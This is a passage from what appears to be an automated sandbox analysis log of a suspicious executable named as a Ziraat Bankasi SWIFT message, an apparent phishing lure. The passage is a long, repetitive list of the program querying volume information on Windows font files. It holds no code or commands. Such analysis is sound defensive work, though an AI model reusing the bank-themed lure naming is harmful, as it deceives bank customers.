          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\Gabriola.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\gadugi.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\gadugib.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\georgia.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\georgiai.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\georgiab.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\georgiaz.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\impact.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\Inkfree.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\javatext.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\LeelawUI.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\LeelUIsl.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\LeelaUIb.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\lucon.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\l_10646.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\malgun.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\malgunsl.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\malgunbd.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\himalaya.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\ntailu.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\ntailub.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\phagspa.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\phagspab.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\micross.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\taile.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\taileb.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\msyi.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\monbaiti.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\mvboli.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\mmrtext.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\mmrtextb.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\Nirmala.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\NirmalaS.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\NirmalaB.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\pala.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\palai.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\palab.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\palabi.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\segoepr.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\segoeprb.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\segoesc.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\segoescb.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\segoeuii.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\seguisli.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\seguili.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\seguisbi.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\segoeuiz.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\seguibl.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\seguibli.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\seguiemj.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\seguihis.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\seguisym.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\simsun.ttc VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\simsunb.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\sylfaen.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\symbol.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\tahomabd.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\timesi.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\timesbd.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\timesbi.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\trebuc.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\trebucit.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\trebucbd.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\trebucbi.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\verdana.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\verdanai.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\verdanab.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\verdanaz.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\webdings.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\wingding.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\holomdl2.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\CENTURY.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\LEELAWAD.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\LEELAWDB.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\MSUIGHUR.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\MSUIGHUB.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\WINGDNG2.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\WINGDNG3.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\TEMPSITC.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\PRISTINA.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\PAPYRUS.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\MISTRAL.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\LHANDW.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\ITCKRIST.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\JUICE___.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\FRSCRIPT.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\FREESCPT.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\BRADHITC.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\OUTLOOK.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\BKANT.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\ANTQUAI.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\ANTQUAB.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\ANTQUABI.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\GARA.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\GARAIT.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\GARABD.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\MTCORSVA.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\GOTHIC.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\GOTHICI.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\GOTHICB.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\GOTHICBI.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\ALGER.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\BASKVILL.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\BAUHS93.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\BELL.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\BELLI.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\BELLB.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\BRLNSR.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\BRLNSDB.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\BRLNSB.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\BERNHC.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\BOD_PSTC.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\BRITANIC.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\BROADW.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\BRUSHSCI.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\CALIFR.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\CALIFI.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\CALIFB.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\CENTAUR.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\CHILLER.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\COLONNA.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\COOPBL.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\FTLTLT.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\HARLOWSI.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\HARNGTON.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\HTOWERT.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\HTOWERTI.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\JOKERMAN.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\KUNSTLER.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\LBRITE.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\LBRITED.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\LBRITEI.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\LBRITEDI.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\LCALLIG.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\LFAX.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\LFAXD.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\LFAXI.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\LFAXDI.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\MAGNETOB.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\MATURASC.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\MOD20.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\NIAGENG.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\NIAGSOL.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\OLDENGL.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\ONYX.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\PARCHM.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\PLAYBILL.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\POORICH.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\RAVIE.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\INFROMAN.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\SHOWG.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\SNAP____.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\STENCIL.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\VINERITC.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\VIVALDII.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\VLADIMIR.TTF VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\LATINWD.TTF VolumeInformationJump to behavior
